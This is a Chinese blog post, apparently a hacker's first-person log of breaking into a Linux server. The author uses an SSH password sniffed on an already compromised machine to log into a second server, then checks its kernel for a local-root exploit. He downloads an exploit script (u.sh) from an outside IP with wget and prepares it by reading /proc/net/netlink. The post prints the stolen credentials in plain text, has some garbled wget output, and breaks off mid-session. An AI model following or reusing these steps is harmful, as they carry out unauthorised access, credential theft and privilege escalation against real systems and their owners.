by:vitter
blog:blog.securitycn.net
今天发现一台肉鸡上某人的ssh连到另外一台服务器上， 记录下了密码。
[root@mail ~]# cat /tmp/sshpswd
ldc:sle823jfsGs@222.222.66.11
直接ssh上去。
[root@mail ~]# ssh ldc@222.222.66.11
ldc@222.222.66.11's password:
Last login: Fri Jul 17 13:11:38 2009 from 221.140.140.200
[ldc@localhost ldc]$ cat /etc/issue
Red Hat Enterprise Linux Server release 5 (Tikanga)
Kernel \r on an \m
[ldc@localhost ldc]$ uname -a
Linux localhost.localdomain 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686 i686 i386 GNU/Linux
是rhel5.0没升级过内核， vmsplice的local root应该可以的， 不过测试了下， 机器挂了， 换udev的好了。
[ldc@localhost ldc]$ mkdir .v
[ldc@localhost ldc]$ cd .v
[ldc@localhost .v]$ wget http://211.100.50.70/u.sh
--13:21:09-- http://211.100.50.70/u.sh
Connecting to 211.100.50.70:80... 宸茶繛鎺ャ€
宸插彂鍑?HTTP 璇锋眰锛屾鍦ㄧ瓑寰呭洖搴?.. 200 OK
闀垮害锛?366 (3.3K) [application/x-sh]
Saving t `u.sh'
100%[===========================================================================================>] 3,366 --.-K/s in 0.04s
13:21:09 (93.7 KB/s) - `u.sh' saved [3366/3366]
[ldc@localhost .v]$ ls
r00t r00t.c u.sh
[ldc@localhost .v]$ chmod +x u.sh
[ldc@localhost .v]$ cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks
f69f8800 0 2486 00000111 0 0 00000000 2
f7fdae00 0 0 00000000 0 0 00000000 2
c2132200 6 0 00000000 0 0 00000000 2
f6a57a00 7 2143 00000001 0 0 00000000 2
f7caf000 7 0 00000000 0 0 00000000 2
f6a0be00 9 2143 00000000 0 0 00000000 2
f6a61200 9 1996 00000000 0 0 00000000 2
f7de1c00 9 0 00000000 0 0 00000000 2
f7d6ca00 10 0 00000000 0 0 00000000 2
f7fb3200 11 0 00000000 0 0 00000000 2
c2154200 15 476 ffffffff 0 0 00000000 2
f7fdac00 15 0 00000000 0 0 00000000 2
f7fb3000 16 0 00000000 0 0 00000000 2
c21cde00 18 0 00000000 0 0 00000000 2
[ldc@localhost .v]$ ps aux (北联网教程,专业提供视频软件下载)
……